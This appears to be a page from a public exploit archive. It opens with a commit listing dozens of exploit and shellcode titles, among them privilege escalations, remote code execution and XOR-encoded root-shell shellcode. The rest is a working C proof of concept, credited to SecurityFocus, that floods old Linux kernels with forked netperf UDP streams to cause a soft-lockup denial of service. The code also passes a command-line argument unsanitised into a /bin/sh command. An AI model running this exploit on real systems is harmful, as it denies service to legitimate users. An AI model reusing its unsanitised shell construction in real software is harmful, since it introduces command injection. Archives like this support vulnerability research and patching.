880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
67 lines
No EOL
1.4 KiB
C
67 lines
No EOL
1.4 KiB
C
/*
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source: https://www.securityfocus.com/bid/32985/info
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The Linux kernel is prone to a local denial-of-service vulnerability.
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Local attackers can exploit this issue to cause a soft lockup, denying service to legitimate users.
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Versions prior to Linux kernel 2.6.25 are vulnerable.
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*/
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#include <stdio.h>
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#include <unistd.h>
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#include <sys/types.h>
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#include <sys/wait.h>
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#define MAXTASKS 200
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int main(int argc, char *argv[])
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{
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int i;
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char cmd[128];
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FILE *f;
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pid_t pids[MAXTASKS];
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pid_t pid;
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unsigned int num;
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if (argc < 3) {
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printf("enter netserver hostname as the first parameter\n");
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printf("enter number of netperf tasks as the second parameter\n");
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return 1;
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}
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f = fopen("/dev/null", "w");
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if (!f) {
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printf("cannot open /dev/nu;;\n");
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return 2;
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}
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sprintf(cmd, "netperf -H %s -l 60 -t UDP_STREAM -- -s 262144 -r 262144 -m 16384", argv[1]);
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num = atoi(argv[2]);
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if (num > MAXTASKS) {
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printf("number of tasks is too high, resetting to %ld\n", MAXTASKS);
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num = MAXTASKS;
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}
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for(i = 0; i < num; i++) {
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pid = fork();
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if (pid == 0) {
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fclose(stdout);
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fclose(stderr);
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stdout = f;
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stderr = f;
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execl("/bin/sh", "/bin/sh", "-c", cmd, NULL);
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}
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else {
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printf("newpid: %d\n", pid);
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pids[i] = pid;
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}
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}
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for(i = 0; i < num; i++) {
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waitpid(pids[i], NULL, 0);
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}
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fclose(f);
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return 0;
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} |